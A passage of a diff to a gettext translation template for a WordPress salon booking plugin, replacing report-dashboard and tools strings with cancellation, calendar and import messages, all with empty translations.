build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:455, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:455\n-msgid \"Avg. Visit Frequency\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:83\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:83\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_gcalendar.php:24\n+msgid \"Calendars\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:467, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:467, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:467, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:467, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:467\n-msgid \"Unlock customer lifetime value and frequency insights\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:116\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:116\n+msgid \"Call customer\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:478, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:478, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:406, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:478\n-msgid \"Customer Lifetime Value Distribution\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:189\n+msgid \"Can't set attendants. Please, select others.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:487, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:487, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:487, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:415, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:487, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:487\n-msgid \"Unlock customer lifetime value distribution analysis\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:101\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:101\n+msgid \"Can't set booking services. Please, select others.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:498, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:498, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:498, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:426, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:498, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:498\n-msgid \"Top Customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:142\n+msgid \"Can't set secondary booking services. Please, select others.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:506, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:506, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:506, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:506, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:506\n-msgid \"At-risk Customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_manage_buttons.php:61\n+msgid \"CANCEL\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:507, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:507, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:435, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:507, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:507\n-msgid \"High-value customers who haven't returned in 60+ days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:437\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:437\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135\n+msgid \"Cancel\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:511, src\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:511, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:511, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:511, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:511, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FDiscountsHistoryList.php:24\n-msgid \"Customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fcancel_booking.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:61\n+msgid \"Cancel Booking\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:512, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:512, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:512, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:440, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:512, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:512\n-msgid \"Last Visit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:106\n+msgid \"Canceled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:513, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:513, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:513, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:441, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:513, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:513\n-msgid \"Days Since\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:44\n+msgid \"Cancellation disabled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:514, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:514, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:514, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:442, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:514, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:514\n-msgid \"Total Spent\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fcancel_booking.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fcancel_booking.php:48\n+msgid \"Cancellation is disabled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:529, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:529, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:529, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:457, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:529, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:529\n-msgid \"Unlock at-risk customer tracking and retention insights\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:146\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:146\n+msgid \"Cancellation Rate:\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports.php:5, views\u002Fadmin\u002F_reports_bookings.php:2, src\u002FSLN\u002FAdmin\u002FReports.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_reports_bookings.php:2, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_reports_bookings.php:2, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_reports_bookings.php:2, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_reports_bookings.php:2, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_reports_bookings.php:2, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:19\n-msgid \"Reports\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:76\n+msgid \"CANCELLED\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:3, src\u002FSLN\u002FAdmin\u002FTools.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:3, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:3, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:39\n-msgid \"Tools\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:695\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:32\n+msgid \"Cancelled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:15\n-msgid \"Settings debug\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:693\n+#, php-format\n+msgid \"Cancelled (expires %s)\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:18\n-msgid \"Copy and paste into a text file the informations of this field and provide them to Salon Booking support.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:57\n+msgid \"Cannot create tmp file\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:22\n-msgid \"Just click inside the textarea and copy (Ctrl+C)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:200\n+msgid \"Cannot logout yourself using this endpoint.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:31\n-msgid \"Settings import\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:91\n+msgid \"Cannot rollback to the same or newer version.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:34\n-msgid \"Copy and paste into this field settings of the plugin to import settings into the current wordpress install.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:51\n+#: 